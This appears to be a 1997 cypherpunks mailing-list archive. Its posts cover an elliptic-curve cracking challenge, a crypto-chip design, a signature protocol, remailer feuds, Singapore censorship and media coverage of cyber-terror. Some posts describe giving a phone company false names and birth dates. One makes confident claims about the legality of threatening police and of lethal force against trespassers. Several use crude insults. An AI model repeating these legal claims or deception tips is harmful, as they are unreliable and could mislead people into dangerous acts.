>  - complete text of a sign put up on a roadside fence in Vancouver by
>  university law student Craig Jones.  Jones was arrested for doing so by
>  Royal Canadian Mounted Police, who were protecting dictators attending
>  the APEC (Asia Pacific Economic Cooperation) meeting in Vancouver,
>  November 1997 from dissent.  He was released without being charged
>  after 14 hours in custody.
> 
>     Submitted by: Terry Labach
>                   Dec. 1, 1997

What charge was he arrested on? Was it his property? Did he have the land
owners permission? He should have put it on a pole on the right of way.

I own some land, you go putting a sign on my fence without my permission and
I promise you I will press tresspasing charges in an instant, even if I
agree with the sentiment. I've had to threaten several DPS officers (Texas
state troopers) with this because they like to park their cruiser in the drive
outside my fence but still within the property line without asking my
permission to do paperwork and eat.

They don't do it anymore.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jrbl Pookah <lists@castle5.castlec.com>
Date: Wed, 10 Dec 1997 05:03:51 +0800
To: cypherpunks@ssz.com
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
In-Reply-To: <199712091400.IAA04323@einstein.ssz.com>
Message-ID: <Pine.LNX.3.95.971209155223.1478A-100000@castle5.castlec.com>
MIME-Version: 1.0
Content-Type: text/plain




> > Jim Choate writes:
> > 
> > >                    To the best of my knowledge no phone company anywhere
> > > will allow a customer to purchase service without identifying themselves to
> > > the phone company. Please let me know if there is such a beast somewhere.

	Hmm.  Excuse the interruption into your conversation here, but
I've signed up (in the past) for long-distance service under an assumed
name, on a telephone line that I held in a different assumed name.  At
least in Cincinnati, OH, the phone company didn't (doesn't?) really care,
as long as they had a place to send the bills.  When they asked for my
SSN, I simply told them I wouldn't give it to them, and offered my
date-of-birth - which I lied about.  They didn't mind.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Dec 1997 05:49:49 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Elliptic Curve Tidbit (fwd)
Message-ID: <199712092201.QAA06107@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From owner-austin-cpunks@ssz.com Tue Dec  9 10:26:41 1997
Message-Id: <9712091607.AA17974@sso-austin.sps.mot.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
From: combee@sso-austin.sps.mot.com (Ben Combee)
To: austin-cpunks@ssz.com
Subject: Elliptic Curve Tidbit
Date: Tue, 9 Dec 97 10:06:53 CST
Sender: owner-austin-cpunks@ssz.com
Precedence: bulk
Reply-To: austin-cpunks@ssz.com

(From today's TBTF)

..First level of Certicom Challenge falls

The first shot is fired in an elliptic-curve challenge

Certicom is a maker of elliptic-curve encryption software. ECC al-
gorithms are drawing considerable interest and study because they hold
out the possibility of offering security comparable to the RSA
algorithms using smaller keys, therefore requiring less computation.
This possibility is not yet considered verified by most of the math-
ematics and cryptosystems research community.

The assumption that ECC encryption can use smaller keys is the as-
sumption that no subexponential-time solution exists for the mathe-
matical problem (the elliptic curve discrete logarithm problem) on
which ECC is based. The only solution to ECDLP known to exist takes
fully exponential time. In contrast, both of the other well-studied
mathematical problems that underly modern cryptosystems -- the in-
teger factorization problem (e.g., RSA) and the discrete logarithm
problem (e.g., Diffie-Hellman) -- have solutions that require only
subexponential time.

In order to gain exposure and to jumpstart the expert scrutiny that
ECC will need if it is to be widely trusted, Certicom is sponsoring a
crypto crack contest (they call it a challenge) [17]. The challenge
comes in three parts: a series of "warmup exercises" followed by Level
1 and Level 2 problems [18]. A total of $625,000 in prize money is
offered.

Yesterday Robery Harley <Robert.Harley@inria.fr> announced [19] that
he and Wayne Baisley had cracked one of two first-level warmup exer-
cises, a 79-bit problem [20] designated ECCp-79. At this writing he
has had no reply and the Certicom status page [21] has not been up-
dated, so it is possible (but unlikely) that Harley's claim will prove
not to be the first. If it is, he will receive as a prize a copy of
the Handbook of Applied Cryptography (though somehow I suspect he's
already read it) and a Maple V encryption package from Certicom.

Certicom estimates the difficulty of the warmup exercises thus:

  > Using a network of 3000 computers, it is expected that the
  > 79-bit exercise could be solved in a matter of hours, the
  > 89-bit in a matter of days, and the 97-bit in a matter of
  > weeks.

Harley and Baisley applied 6 computers to ECCp-79 and solved it in a
bit under 10 days, which would have amounted to less than half an hour
had they had 3000 machines to throw at the problem.

Harley takes the opportunity presented by his winning claim [19] to
tweak Certicom for their membership in the Key Recovery Alliance [22].
If the company replies to him substantively on this point, I'll post
their response on the TBTF archive.

[17] http://www.certicom.com/chal/index.htm
[18] http://www.certicom.com/chal/ch4.htm
[19] http://www.tbtf.com/resource/certicom1.html
[20] http://www.certicom.com/chal/curves.htm
[21] http://www.certicom.com/chal/ch_52.htm
[22] http://www.kra.org/roster.html
 


-- 
Ben Combee, Software Guru (ARMy Core of Engineers)
Motorola > MIMS > MSPG > CTSD > Austin Design Center
E-mail: ra3781@email.mot.com   Phone: (512) 895-7141





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 10 Dec 1997 05:15:35 +0800
To: cypherpunks@toad.com
Subject: Staff changes at the Center for Democracy and Technology
Message-ID: <v03007810b0b3624e5e6d@[204.254.21.127]>
MIME-Version: 1.0
Content-Type: text/plain





--
FOR IMMEDIATE RELEASE              Contact:  Graeme Browning
                                             voice: 202-637-9800, ext. 275
                                             email: gbrowning@cdt.org


  JOURNALIST AND AUTHOR GRAEME BROWNING JOINS THE CENTER FOR DEMOCRACY AND

                   TECHNOLOGY AS COMMUNICATIONS DIRECTOR

           FORMER COMMUNICATIONS DIRECTOR JONAH SEIGER TO ESTABLISH
                         CAMPAIGN CONSULTING FIRM

Washington, DC, December 9, 1997 -- The Center for Democracy and Technology
(CDT), a leading online civil liberties group, today announced that Graeme
Browning, a former reporter for some of the country's most prominent
newspapers and magazines, as well as author of a recent book on using the
Internet to transform politics, has become the group's new Communications
Director. Browning replaces Jonah Seiger, who is leaving to form a
Washington-based Internet campaign consulting company with Shabbir J.
Safdar, former director of the Voters Telecommunications Watch, a public
interest group in New York City.

With Browning's help the Center for Democracy and Technology will broaden
its efforts to promote democratic values, free speech and privacy in the
Digital Age. "Graeme's  years of experience with both the print and the
electronic media will be a valuable resource for us as we build on Jonah's
excellent work and reach out to the rapidly expanding audience of citizens
who use the Internet," said Jerry Berman, CDT's executive director. "Graeme
shares our vision of the Net as the medium best able to nurture the many
voices of a democracy. Her ability to articulate that vision will be of
critical value to CDT."

Browning, who holds a law degree from Vanderbilt University, joins CDT
after six years covering Congress and high-tech issues for National
Journal, one of the most respected political magazines in Washington. She
has also been a reporter with the Washington Post, the Chicago Sun-Times,
the (Baltimore) Sun, the (Nashville) Tennessean, and United Press
International, and was also legal affairs reporter for the ABC network
affiliate in Nashville. Last year Browning established herself as an
authority in the Internet policy area with the publication of Electronic
Democracy: Using the Internet to Influence American Politics (Pemberton
Press, 1996), a guide to computer-based grassroots organizing that the
Washington Times called "an essential book for anyone who wants to navigate
the political dimensions of the Internet."

Seiger, who has been a key staff member of the Center for Democracy and
Technology since its founding in late 1994, "played a crucial role in
developing CDT's pioneering use of the 'Net as a means of grassroots
organizing and public education," Berman said. "Jonah was instrumental in
positioning CDT as the leading voice on issues impacting civil liberties on
the Internet. He has been a tremendous asset for us from the start."


"I am confident that Jonah and Shabbir will be successful at bringing their
considerable online organizing skills to a wider audience," Berman added,
"and CDT looks forward to collaborating with them in their new venture."

In the past three years, Berman said, Seiger has made major contributions
to a number of CDT accomplishments, including:

* the defeat of an important anti-encryption proposal before the House
Commerce
  Committee,

* the "blacken your Web page" protest of the Communications Decency Act in
  December 1996,

* and the recruitment of more than 57,000 Internet users to a coalition
  supporting CDT's ultimately successful efforts to persuade the U.S. Supreme
  Court to overturn the Act.

* Seiger also organized CDT's production of the first live cybercast of a
  congressional hearing on the Internet,

* and launched democracy.net, a Web site devoted to cybercasting live "Town
  Hall" meetings with Members of Congress as well as hearings on such
issues as
  encryption and the right to privacy online.

Seiger and Safdar's new firm will provide strategic consulting and online
advocacy management  and  campaign design services to help non-profits,
associations and candidates use the Internet to advance public policy
goals. Safdar founded the Voters Telecommunications Watch in 1994 and has
collaborated with CDT on several major online campaigns.

The Center for Democracy and Technology, a non-profit public interest
organization based in Washington, D.C., works to advance civil liberties
and democratic values on the Internet and in other interactive media.


                                  #  #  #  #  #









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 10 Dec 1997 05:57:54 +0800
To: cypherpunks@toad.com
Subject: FBI's Kallstrom Retiring
Message-ID: <1.5.4.32.19971209214836.006f6cfc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Anon:

CNN is saying FBI Ass. Dir. Jimmy "I never met a tap I didn't like"
Kallstrom is retiring. 

He was the standard-bearer for the FBI Wiretap bill, and is a
noted ally of Louie Freeh.

He's going to work for MNBA Bank.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Wed, 10 Dec 1997 00:08:35 +0800
To: bill.stewart@pobox.com
Subject: Re: Singapore
In-Reply-To: <3.0.3.32.19971207195655.00747a88@popd.ix.netcom.com>
Message-ID: <9712091602.AA57460@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> Germany doesn't really mind you selling dope, as long as your
> shop is closed by 18:30 weekdays and earlier on Saturday :-)

20:00 weekdays, 16:00 on Saturday.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Dec 1997 07:04:46 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [Censored] Quote of the Day (fwd)
Message-ID: <199712092314.RAA06544@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi John,

Forwarded message:

> Date: Tue, 09 Dec 1997 17:34:30 -0500
> From: John Young <jya@pipeline.com>
> Subject: Re: [Censored] Quote of the Day (fwd)

> Jim Choate wrote:
> 
> >I've had to threaten several DPS officers (Texas state troopers) 
> >with this because they like to park their cruiser in the drive outside 
> >my fence but still within the property line without asking my
> >permission to do paperwork and eat.
> >
> >They don't do it anymore.
> 
> Damn, Jim, it's been nice having you here. Huntsville's agape
> for sugary puckers "threatening an officer."
> 
> Still that beats joining the roadkill at the bottom of Lake Travis 
> for messing with Texas.

Sorry dude, it isn't against the law in Texas to threaten an officer when
they are committing a crime, and trespassing on private property without
permission, in pursuit of a suspect, or a warrant is most definitely a crime
in this state, even for police. In this state if I catch somebody on my
property at night in the process of what I *believe* is theft is even
grounds for me to use deadly force; but *only* between sunset and sunrise.

About 3 years ago we had a female UT-Austin student shoot and kill a peeping
tom in the middle of town. She saw the guy through her window, got her gun,
went outside and dropped the guy. No charges were filed because it was
after dark and his trespassing on the apartment property was enough to
invoke the above referenced law. There was a lot of screaming and yelling
from a bunch of bleeding hearts about it, but the law still stands.

You really should try to understand why you cow-tow to 'The Man'....


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 10 Dec 1997 06:44:01 +0800
To: cypherpunks@toad.com
Subject: Re: [Censored] Quote of the Day (fwd)
Message-ID: <1.5.4.32.19971209223430.0070bb98@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

>I've had to threaten several DPS officers (Texas state troopers) 
>with this because they like to park their cruiser in the drive outside 
>my fence but still within the property line without asking my
>permission to do paperwork and eat.
>
>They don't do it anymore.

Damn, Jim, it's been nice having you here. Huntsville's agape
for sugary puckers "threatening an officer."

Still that beats joining the roadkill at the bottom of Lake Travis 
for messing with Texas.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Poldre <jp@pld.ttu.ee>
Date: Wed, 10 Dec 1997 00:01:35 +0800
To: cypherpunks@Algebra.COM
Subject: A little proffessional advice required
Message-ID: <Pine.SUN.3.91.971209174832.5995A-100000@jep.pld.ttu.ee>
MIME-Version: 1.0
Content-Type: text/plain



Hello everyone.

Some time (Actually some years) ago there was a discussion about
Cryptographic device being devoloped in Estonia. Well now we have some real
results to share. I will include a short description with some questions.

Hope to hear from you all soon.


As a result of scientific research project a team in Tallinn Technical 
University has developed a cryptographic processor.  The first phase of 
the project has been a success. It ended with a prototype and 
presentation 
at NORCHIP'97 conference. Now the team is specifying the tasks for second 
phase of the project. 

If  you  have  some  time to answer to few questions, we would  be 
extremely 
pleased. The data  could help  us to create a real circuit for solving 
real 
problems not just one for satisfying academic curiosity :)  
 
The circuit is a programmable modular  arithmetic  calculator  and IDEA 
block cipher. ALU is 96 bits wide and is shared   between IDEA and 
modular 
calculations. The circuit contains RAM for  storing key exchange data, 
total of 16 registers. Two  of  them are  used   for Internal ALU 
calculations, 2 for storing expanded IDEA keys and one for several 
small 32 bit variables  (cycle  counter, upper parts of expanded IDEA  
keys,  raw  IDEA  keys, & so  on). Currently modular calculations length 
is 
768 Bits. 


We have produced  a test circuit and got the following results:

Technology: 		Atmel ES2 1.0um 2 
			Metal CMOS, standard cell, 50 Kgates
Speed:			20 MHz 
Modular exponent time:	0.1 Sec ( currently 768 Bits )
IDEA speed		20 Mbit/Sec  

All these results are also at:

www.pld.ttu.ee/~prj/norchip.html

Now we are designing a new circuit, what should provide some real 
interest 
to encrypting devices users.

The obvious things to do with the previous circuit are:

Add Second ALU, RAM, redesign datapath and use faster technology for 
Longer modular calculations ( 2*768 bits )
Faster exponent using 2 ALUS in parallel and CRT 
100 Mbit/sec IDEA speed

In pursuit of perfection we must keep in mind the penalty of silicon 
area, 
lower yields, longer devolopment time  and thus higher price.


Question 1:
How much speed would be reasonable enough for both IDEA and modular 
exponent? 

Question 2:
The second  question concerns external interface. What  protocol  if any 
should we include into the circuit? The RS232 strikes as a first 
possible  
solution for smart card applications. Could there be  some other common 
interfaces that we should consider including   into the circuit?


Sincerely,

Tallinn Technical University,
Design and Test laboratory,
IDEXP circuit design team.


   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Wed, 10 Dec 1997 10:59:30 +0800
To: cypherpunks@toad.com
Subject: Re: [RePol] ABCnews/Nightline on Cyber Terror 8-Dec-97
In-Reply-To: <199712091958.UAA05503@basement.replay.com>
Message-ID: <3.0.3.32.19971209180929.031f3f18@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 08:58 PM 12/9/97 +0100, Anonymous wrote:
>  Can you say, "Fascism?" Sure you can...
>  Can you say, "New World Order?" Sure you can...
>  Can you say, "Bend me over and stick a crowbar up my ass?"...

One inch diameter concrete reinforcing rod is much more comfortable...
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNI352MJF0kXqpw3MEQIBXgCeLYwRUDJlMiL5XwbcEnMydPLFSVIAn0p4
Zp/LDJrmhjPD+s2sFAfotJHP
=aRUz
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nobody <hugecajones@dev.null>
Date: Wed, 10 Dec 1997 07:47:23 +0800
To: cypherpunks@toad.com
Subject: ABC NightTerror
Message-ID: <348DE3DC.3094@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Mr. Gump,
  A few comments on your CyberTerror show on Dec. 8th.

  First, I would like to compliment you on how 
well you articulate with Uncle Sam's cock in
your mouth.
  Second, I would like to suggest that if you
would make a habit of burning the government
press-releases that you parrot so regularly,
that you might be inspired to ask questions of
your DCZombie guests that would be of interest
to citizens in outlying areas of the country
who have not yet received their digital mind-
control government implants as of yet.

  Next time that you interview someone who tells
yourself and all of America that this or that
organization, agency, or national infrastrucure
is in great danger of being compromised by small
children, threatening the financial and physical
safety of all of humanity, why don't you try
asking them when they intend to announce their
resignation for allowing conditions to come to
this on their watch?

  Do you sleep well at night, knowing that those
who view your show go to bed dreaming of putting
children in prison, instead of lynching warlords
who claim to have made our national security
vulnerable to those children?

  I suggest that ABC News spends the $50.00 per
month necessary to connect the ClueServer, or
buy one.

Bubba ROM DOS
TruthMonger #3
"It's not FUD until *I* say it's FUD!"
cc: Nightline@abc.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Martin G. Diehl" <mdiehl@nac.net>
Date: Wed, 10 Dec 1997 08:00:35 +0800
To: R Bradley <rick@rentec.com>
Subject: Re: ABCnews/Nightline on Cyber Terror 8-Dec-97
In-Reply-To: <199712092137.NAA17596@rentec.com>
Message-ID: <348DD9CA.73A9@nac.net>
MIME-Version: 1.0
Content-Type: text/plain



R Bradley wrote:
> 
> I seem to recall X Four writing:
> > Last night, ABC news once again stroked the fires of fear and 
> > raised the boogieman of "Hackers" destroying the goverment, banks, 
> > power plants, ad nauseum.  Of course, the main guest was from the 
> > US Govt's new trumpeter of CyberTerrorizm, "the President's 
> > Commission on Critical Infrastructure Protection".  A full 
> > transcript is available.
> > http://www.abcnews.com/onair/nightline/html_files/transcripts/ntl1208.html
> 
> I recommend that those concerned light a fire under the media's 
> collective large @sses on the issue concerning the government's 
> history of lofty morals concerning their citizens and their 
> computers.  I have been epistle-ing all afternoon.
> 
> Rick

Perhaps we should point out to the media (and everyone else who has 
his ears connected to his brain) that the implementation of GAK will 
make the Cyber Terrorism scenario _inevitable_ not just possible.

After all, if the government's thesis is that the entire commercial 
infrastructure could be cracked by hackers, they should readily 
accept, as a fact, that GAK makes the info terrorist's job easier.  
Those terrorists would simply subvert the access mechanisms to GAK
and gain access to _everyone's_ keys.  

-- 
Martin G. Diehl

Sig under construction





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <Use-Author-Address-Header@[127.1]>
Date: Wed, 10 Dec 1997 08:19:27 +0800
To: mail2news@basement.replay.com
Subject: Re: Burnmore & Databasix
In-Reply-To: <66bh5f$l85$1@sparky.wolfe.net>
Message-ID: <675e8e0e0ee1e01a82ad614819f690ea@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



A Voice <scorpion@anon.nymserver.com> wrote:
 
> Gary L. Burnore  wrote :
>  
> >The anonasshole is now working on his "way out of this".
> >Expect many more of his posts to contain bits of how more 
> >than one person posting anonymously is
> >making the accusations. All is falling down around the anonasshole.
>  
> Been lurking and reading this anon vs. Burnmore thing for a while.

He's engaging in wishful thinking.  Fanciful, paranoid theories about his
critics (such as imagining that he only has one <g>) are apparently intended
to divert attention from his own tactics and activities.
 
> >We'd expect no less.  I do wonder how long it will take before those who
> >believe remailers are a good thing start to realise this asshole has
> >it in for them.  Everything it posts could be used by the anti-remailer  
> >front as a reason to shut them all down.

Much of this "anti-remailer front" works for DataBasix.  Notice the classic
disinformation tactics that Gary Burnore is engaging in here.  But notice
that Gary was part of this "anti-remailer front" that used ALLEGED forgeries
and "spam baiting" to get two remailers shut down.  It is interesting that
he now attributes the activities of himself and his associates at
DataBasix with this unnamed "anti-remailer front".
 
> That, IMO, is what you're up to.  You and the Databasix thugs took a
> couple of re-mailers down.  You staged the whole thing.
>    
> It should be clear to any thinking person that this group of thugs have an
> anti-privacy motivation.
>  
> Sadly, I also think they do this for shits and giggles.

Gary Burnore, Belinda Bryan <eridani@netcom.com>, William "Wotan" McClatchie
<wmcclatc@primenet.com> seem to want privacy for themselves but at the same
time they also want to be able to identify their critics.  Strangely enough, 
several of Gary's non-anonymous critics have reported harassment, forged
posts, spam-baiting, etc.  Probably just a "coincidence", right?

Which makes one wonder why Gary and Belinda wanted to get ahold of the logs
from the Huge Cajones Remailer which would have identified anyone who ever
sent or even received anonymous mail through that remailer.  Gary and Belinda
have consistently stonewalled that question.  My guess is that they were
counting on Jeff keeping that dirty little secret of theirs hidden.

Helena Kobrin and the Church of Scientology weren't able to bully that
information out of Jeff and neither were Gary, Belinda, and DataBasix, for
the simple reason that Jeff was smart enough not to collect it in the first
place!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harish Pillay <harish@brokat.com.sg>
Date: Tue, 9 Dec 1997 19:21:14 +0800
To: nobody@neva.org (Neva Remailer)
Subject: Re: Singapore & Freedom
In-Reply-To: <199712081823.MAA10229@dfw-ix13.ix.netcom.com>
Message-ID: <199712091112.TAA09122@brokat.com.sg>
MIME-Version: 1.0
Content-Type: text/plain




> >So, yes, the govt does at times choke the entrepreneurship drive
> >of the local population, but there are industries where the
> >coexistence of private initiative and govt-linked companies have
> >been possible and viable.
>  
> Please advise what industries and the companies involved.

SingTech Computers, CSA - the two largest computer companies.  CSA being
a completely private company, but listed on the stock exchange.

The hotel industry is pretty much 100% in private hands.  Shipbuilding is
both, airlines 100% govt-linked, public transport - a mixture etc.

> >Let's analyze the premise of an educational system. ....
> >It has been a fine balance between a fully liberal system and
> >one that generates worker units for the most part of the last
> >30-35 years. ...  It will take 5-10 years before an increasingly
> >liberal system is in place - an increasing thinking population
> >that is part of the global information flow that will
> >characterize the next centuries economies.
> 
> This last sentence appears to have been taken right out the PAP
> policy manual, and it is a good policy statement.  

Perhaps it behooves noting that not everything is evil in the PAP
policy manual.

> Educational
> systems are generally engineered by society to help prepare the
> students for life in that society.  In western societies the
> educational system is engineered by a number of different groups
> in that society in what is thought to be in the best interest of
> the society.  Who is doing the planning in Singapore and for what
> ends?  I believe you will find Elder Statesman Lee has a major
> involvement at this time.  If you look you will find an
> accelerated push to generate a more technical population. 
> Children in Singapore start school at 5 years of age, after 5
> years of schooling, what is the daily homework load for a 10 year
> old student??  

Does it matter?  In any case, first grade (we call it Primary 1) is
at age 6 not 5.

> Three to 5 hours per day?  If this figure is not
> correct please advise the correct figure.  What percentage of
> parents feel compelled to hire tutors to enhance their child's
> education or just so they get good grades?  Is 60% too low??

What has all the preceding got to do with censorship?

> What type of bonuses do school principals receive, is it based on
> the overall grade-point average of the students in their school? 

None whatsoever.  Public school principals are not rewarded on that
yardstick.  Perhaps you wanna suggest that to the Ministry of Education?

> Why the big push?  Who is the primary beneficiary of this push? 
> Is this being done for the benefit of the worker units or the
> collective good of the controllers of the political group in
> power?
> 
> Harry and his buddies have done a fantastic job with Singapore
> Inc. over the last 40 years.  Harry had a great vision and
> splendid execution of that vision.  Problem now is that he is
> rather long in the tooth and his people have changed.  Instead of
> loosening up and allowing more democratic freedoms Harry and the
> boys are finding excuses to state that Singaporeans must work
> harder and expect less in the way of freedoms.  Harry has stated
> many times that one of the biggest problems with western style
> democracies is that the voters can defeat a perfectly good
> government and install a bunch of goofs who spoil everything. 
> True enough, we sometimes vote goofs into power, but at least we
> have the choice.  Harry and the PAP have destroyed every bit of
> political opposition or made the opposition unpalatable to the
> voters.

Perfectly valid statements.

> 
> >Pray tell me how the SG govt has brought BB into reality? ...
> 
> Singapore is surrounded by the Muslim hordes who covet their
> wealth and it has no internal security apparatus?  In the 50s
> Singapore literally had a den of spies.  The regional den of
> spies is now Bangkok.  Why do ya figure they all moved their
> operations?? The Singaporeans politely asked them to leave?  Have
> you ever had any dealings with your nation's security apparatus? 
> If you did you would notice something strange.  You just got
> picked up for something that happened last week but these people
> know about your whole life.  They know how many hours you spend
> at the office, when you are out of the country, who you socialize
> with, and any vices you may have.  Maybe they really don't do the
> Big Brother thing, they probably just have a crystal ball and got
> lucky with a few guesses and bluffed the rest.  If you believe
> this last statement I have a real deal for you on some excellent
> used cars.

So?  Tell me which other country's citizen would not be similarly
shown a "This Is Your Life" book?  Come on.  Nothing unique here.

> When the Singapore government announced their intent to connect
> every household to the Internet they asked every citizen to
> become an informant and watch their neighbors (neighbours) for
> subversive activity and report any such activity to the
> authorities.  

I take it that you have evidence of this?  I have yet to see anything like
that.

> Now, if you connect to those 100 restricted porn
> sites and saved copies of all you viewed on your computer and the
> authorities discovered that porn what would be your fate? Or are
> you immune to this threat?

The SBA (god bless them) has stated that what is on your machine is not
of their concern.  They are well aware of their limitations.  Let's
wait till they find their first parry and then we can see if they indeed
are as mild-mannered as they want us to believe.  In the meantime, we
are all vigilant and do not take our freedoms for granted.

> >Interesting that you hide behind an anomymous name...
> 
> I notice your government does not like anonymous dissent either.

So?  They are bozos.  My point in the preceding is that the post was by
someone who claimed to have lived in Singapore for 8 years and I can only
presume that he/she is no longer here.  In spite of that, s/he choose to
be anonymous.  I on the other hand, have to walk along the streets here
and live a life.  I would have to watch my back if I felt that what I say
would be used against me - especially if what I said is false.

> The standard procedure in Singapore in dealing with trouble
> makers is to dig up their records, school, National Service,
> employment, and whatever else they can get and then tear the poor
> souls apart.  Harry has participated in this tactic many times.

And he continues to do so.  Like I alluded to in an earlier reply, our
privacy laws (what laws?) are a joke.

> Just so it will not bother you, I admit I am a low-life.  Dropped
> out of school, fired from every job, do drugs, abuse alcohol,
> guns, no church, beat my kids, beat my wife, beat my dog, and I
> hang-out in second-rate strip-joints with bikers who deal drugs
> and loanshark.  Plus I collect welfare.....

Why you need to deprecate yourself is beyond me.  I enjoy a good debate
on issues and facts.  We can choose to disagree on some issues, agree 100%
on others.  It does not bother me that you claim to be a low-life.  I respect
you and would deal with you fairly nonetheless.

> I use anonymous mail for many reasons.  The reason here should be
> pretty obvious.

To each his own.

> SingMonger

Regards.
-- 
Harish Pillay                             	  h.pillay@ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steffen Zahn <zahn@berlin.snafu.de>
Date: Wed, 10 Dec 1997 02:38:48 +0800
To: comsec@nym.alias.net
Subject: Re: Complete package for Cantsin Protocol No. 2
In-Reply-To: <19971208180006.2435.qmail@nym.alias.net>
Message-ID: <199712091818.TAA16356@n241-210.berlin.snafu.de>
MIME-Version: 1.0
Content-Type: text/plain



>>>>> "Charlie" == Charlie Comsec <comsec@nym.alias.net> writes:

    Charlie> Have you got a URL I can check out which explains this
    Charlie> protocol and how it's superior to, let's say, PGP?

The protocols where suggested by the anonymous person 'Monty Cantsin'.
There were 3 relevant emails regarding that protocol to the
mailing list cypherpunks@Algebra.COM. For anyone who has missed
those emails I have put it at http://www.snafu.de/~zahn/cantsin.txt

The protocol (currently) only specifies a format for a digital
signature of documents or parts of documents. The algorithms used
are SHA1 and ElGamal. There is currently no encryption specified.
In contrast PGP 2.x used RSA and MD5 and has encryption with IDEA,
PGP 5.x has another collection of algorithms.

Compared to PGP, that exists as commercial software,
my package is an experimental proof of concept, so it is
not 'superior'.

Regards
  Steffen

-- 
home email:  user@domain where domain=berlin.snafu.de, user=zahn
Use of my address for unsolicited commercial advertising is forbidden.
                 "Where do you want to crash today?"
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
712ADCBCF936ECA98E9F5D12AE0138F0436836A1
7BDB285465DECD6B16B3AB8E6463FA455A4648F7
-457 457
1859AC63B0AA67D8F06B7C324F75187FE597BF5EE8B6B16DB9C7BB53DA896DCCF5440CA9843D839784843073A243F60F90205EA236AD0D3230D83DEB11EC6787E4F12F27339C33DA0C5789500A64000FECEA93D559B5C288EF0D9E319298A1F8DD75D1C0F6CE79BED29B97779282240CCAC8D92F0B85B9868252938C0FBCCCF6156DD08C79877401D07
5A16A9102D7353074E97D81C9536B824B438E874E5DAA5015A24EA21C31B955C89BCA1BCA84D34D152960D15BE0EB9582F0748085D82185C7C99B6CA0231DEBE5A1A4261D1219E2459BEB81F7152A31484B5F590C4A6A2AD1FC295C5A160596CB4B9CF781E4F41D7B52C1D79B23284933AD7466C4E9DB970DE86787B6F951ED5A82AF0E7004F1A75F60





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 10 Dec 1997 04:15:37 +0800
To: cypherpunks@toad.com
Subject: [Censored] Quote of the Day
Message-ID: </VfUV1WYZE1oAxJpc2s2lQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



From: Fyodor <fygrave@freenet.bishkek.su>
Reply-To: fygrave@usa.net

---------- Forwarded message ----------
Date: Tue, 9 Dec 1997 03:50:03 -0700
From: Quote of the day <qotd-request@ensu.ucalgary.ca>

"Free Speech, Democracy"

 - complete text of a sign put up on a roadside fence in Vancouver by
 university law student Craig Jones.  Jones was arrested for doing so by
 Royal Canadian Mounted Police, who were protecting dictators attending
 the APEC (Asia Pacific Economic Cooperation) meeting in Vancouver,
 November 1997 from dissent.  He was released without being charged
 after 14 hours in custody.

    Submitted by: Terry Labach
                  Dec. 1, 1997
       --------------------------------------------------------------
            Send quotation submissions to qotd@ensu.ucalgary.ca
